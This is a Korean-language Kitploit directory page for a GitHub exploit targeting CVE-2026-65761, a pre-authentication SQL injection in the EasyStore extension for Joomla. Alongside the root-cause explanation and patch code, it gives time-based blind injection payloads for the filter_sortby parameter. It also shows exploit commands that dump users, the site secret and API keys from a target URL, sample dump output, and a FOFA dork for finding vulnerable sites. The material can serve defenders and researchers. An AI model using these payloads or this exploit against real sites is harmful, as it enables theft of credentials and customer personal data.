Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-65761 — EasyStore Joomla filter_sortby 방향을 통한 사전 인증 SQL 인젝션 (CVE-2026-65761, CVSS 9.3) | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-65761
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubshinthink/cve-2026-65761

CVE-2026-65761

EasyStore Joomla filter_sortby 방향을 통한 사전 인증 SQL 인젝션 (CVE-2026-65761, CVSS 9.3)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-65761 — EasyStore Joomla 사전 인증 SQL 인젝션

filter_sortby 방향 → ORDER BY 인젝션 → 전체 DB 읽기


개요

CVE-2026-65761 (CVSS 9.3 Critical)은 JoomShaper의 Joomla용 EasyStore에서 발견된 인증되지 않은 SQL 인젝션으로, ≤ 2.0.1 버전에 영향을 줍니다.

filter_sortby 제품 목록 매개변수는 열(column)과 방향(direction)으로 분리됩니다. 열은 허용 목록(allow-list)으로 검증되지만, 방향은 ASC/DESC 제한 없이 SQL 절에 직접 연결되어 익명 방문자가 임의의 SQL 인젝션을 수행할 수 있습니다.

ORDER BY

인증되지 않은 공격자는 전체 Joomla 데이터베이스를 읽을 수 있습니다: 사용자 계정, 비밀번호 해시, 세션 데이터, 사이트 비밀, API 키, 그리고 모든 고객 PII(이름, 이메일, 주소, 전화번호, 구매 내역).

CVECVE-2026-65761
CVSS9.3 Critical
영향 버전EasyStore ≤ 2.0.1
수정 버전EasyStore 2.0.2
유형SQL 인젝션 (CWE-89)
인증필요 없음
발견자Phil Taylor (mySites.guru) — 2026년 7월

취약점 메커니즘

근본 원인

FilterHelper.php:741은 ASC/DESC 허용 목록 검사 없이 정렬 방향을 반환합니다:

root@kitploit:~
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
//                      ^^^^^^^^^ No validation — raw value after uppercase

ProductsModel.php:932은 방향을 SQL에 직접 연결합니다:

root@kitploit:~
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
//                        ^^^^^^^^^ Raw SQL concatenation

동일한 브랜드 및 컬렉션 목록에는 적절한 방향 허용 목록이 있었지만, 제품 목록에는 없었습니다.

패치 (EasyStore 2.0.2)

root@kitploit:~
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
//                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check

// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
    $direction = 'DESC';
}

공격 흐름

root@kitploit:~
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
   └─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))

2. Column "price" passes allow-list check ✅
   └─ ['ordering','featured','best_selling','title','price','created']

3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
   └─ No ASC/DESC validation in vulnerable version

4. SQL constructed:
   ORDER BY min_price ASC,(SELECT SLEEP(5))
   └─ Time-based confirmation: 5 second delay

5. Attacker extracts full database via blind SQLi

사전 요구 사항

요구 사항세부 사항
EasyStore ≤ 2.0.1취약한 버전이 설치되어 있어야 함
제품 목록 접근 가능index.php?option=com_easystore&view=products
인증 불필요익명으로 동작
MySQL/MariaDBSLEEP()을 통한 시간 기반 추출

설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only

사용 방법

root@kitploit:~
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check

# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users

# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla

출력

root@kitploit:~
+=================================================================+
|  CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit        |
+=================================================================+
  Target :  https://shop.target.com
  Plugin :  EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION

[STEP 1] Verifying SQL injection (time-based)
  [*] SLEEP(5) delay: 5.2s
  [+] SQLi confirmed (5.2s)

[STEP 2] Database fingerprint
    [Version] 10.11.14-MariaDB
    [Database] joomla_db
    [User]    joomla_user@localhost
    [Prefix]  jos_
  [+] Version : 10.11.14-MariaDB
  [+] Database: joomla_db
  [+] User    : joomla_user@localhost
  [+] Prefix  : jos_

[STEP 3] Dumping users
  [+] Users: 15

  USERNAME                  EMAIL                               NAME
  ─────────────────────     ───────────────────────────────     ──────────
  admin                     [email protected]                      Super User
  manager                   [email protected]                    Store Manager

[STEP 4] Dumping sensitive configuration
    [Secret] abc123def456...
    [EasyStore] {"paypal_email":"[email protected]"...
  [+] Secret: abc123def456...
  [+] EasyStore: {"paypal_email":"[email protected]"...
  [+]   paypal_email: [email protected]

Requests: 1847

기술적 세부 사항

취약 코드 경로

파일라인문제
site/src/Helper/FilterHelper.php741허용 목록 없이 방향 반환 — strtoupper()만 적용
site/src/Model/ProductsModel.php932$direction을 ORDER BY 절에 직접 연결

인젝션 매개변수

root@kitploit:~
filter_sortby = <column>-<direction>

Valid columns (allow-list passes):
  ordering, featured, best_selling, title, price, created

Direction (no validation):
  Injected directly after strtoupper()
  → ASC,(SELECT SLEEP(5))
  → ASC,(SELECT IF((condition),SLEEP(2),0))

EasyStore 2.0.1의 추가 취약점

CVE유형CVSS
CVE-2026-65759주문 위조 / 결제 조작8.7
CVE-2026-65760인보이스 IDOR (고객 간 데이터 노출)9.2
CVE-2026-65761SQL 인젝션 (본 익스플로잇)9.3

FOFA Dork

root@kitploit:~
body="com_easystore" && body="filter_sortby"

참고 자료

  • mySites.guru — 원본 공개
  • JoomShaper — EasyStore Free
  • VulDB — CVE-2026-65761

면책 조항

승인된 보안 테스트 및 교육 연구 목적으로만 사용하십시오. 작성자는 오용으로 인한 책임을 지지 않습니다.

도구 다운로드